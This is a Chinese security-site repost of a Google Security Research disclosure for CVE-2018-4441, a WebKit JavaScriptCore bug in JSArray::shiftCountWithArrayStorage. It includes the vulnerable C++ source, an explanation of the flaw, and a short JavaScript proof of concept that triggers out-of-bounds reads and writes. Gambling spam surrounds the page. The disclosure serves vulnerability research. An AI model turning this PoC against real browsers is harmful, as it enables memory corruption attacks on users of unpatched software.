湖北11选5任选分布走势图一定牛
     
首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WebKit JSC JSArray::shiftCountWithArrayStorage Out-Of-Band Read / Write
来源:Google Security Research 作者:lokihardt 发布时间:2018-12-29  
WebKit: JSC: A bug in JSArray::shiftCountWithArrayStorage 

CVE-2018-4441


bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
    unsigned oldLength = storage->length();
    RELEASE_ASSERT(count <= oldLength);
    
    // If the array contains holes or is otherwise in an abnormal state,
    // use the generic algorithm in ArrayPrototype.
    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
        || hasSparseMap() 
        || shouldUseSlowPut(indexingType())) {
        return false;
    }

    if (!oldLength)
        return true;
    
    unsigned length = oldLength - count;
    
    storage->m_numValuesInVector -= count;
    storage->setLength(length);


Considering the comment, I think the method is supposed to prevent an array with holes from going through to the code "storage->m_numValuesInVector -= count". But that kind of arrays actually can get there by only having the holesMustForwardToPrototype method return false. Unless the array has any indexed accessors on it or Proxy objects in the prototype chain, the method will just return false. So "storage->m_numValuesInVector" can be controlled by the user.

In the PoC, it changes m_numValuesInVector to 0xfffffff0 that equals to the new length, making the hasHoles method return true, leading to OOB reads/writes in the JSArray::unshiftCountWithArrayStorage method.

PoC:
function main() {
    let arr = [1];

    arr.length = 0x100000;
    arr.splice(0, 0x11);

    arr.length = 0xfffffff0;
    arr.splice(0xfffffff0, 0, 1);
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·VideoScript 3.0 <= 4.0.1.50 Of
  相关文章
·WebKit JSC AbstractValue::set
·Terminal Services Manager 3.1
·Iperius Backup 5.8.1 Buffer Ov
·MAGIX Music Editor 3.1 Buffer
·Armitage 1.14.11 Denial Of Ser
·NetShareWatcher 1.5.8 Denial O
·ShareAlarmPro 2.1.4 Denial Of
·Product Key Explorer 4.0.9 Den
·Kubernetes - (Authenticated) A
·Kubernetes - (Unauthenticated)
·Netatalk - Bypass Authenticati
·Keybase keybase-redirector - '
  推荐广告
CopyRight © 2002-2019 VFocuS.Net All Rights Reserved
湖北11选5任选分布走势图一定牛
河北时时在线投注 时时彩后三包胆计算公式 11选5稳赚任选3 深圳快乐彩技巧稳赚 篮彩竞彩分析预测 pk10彩票助赢软件 幸运飞艇单吊技巧 七星彩开奖号码结果 小鱼儿36码论坛 买分分彩稳赚的技巧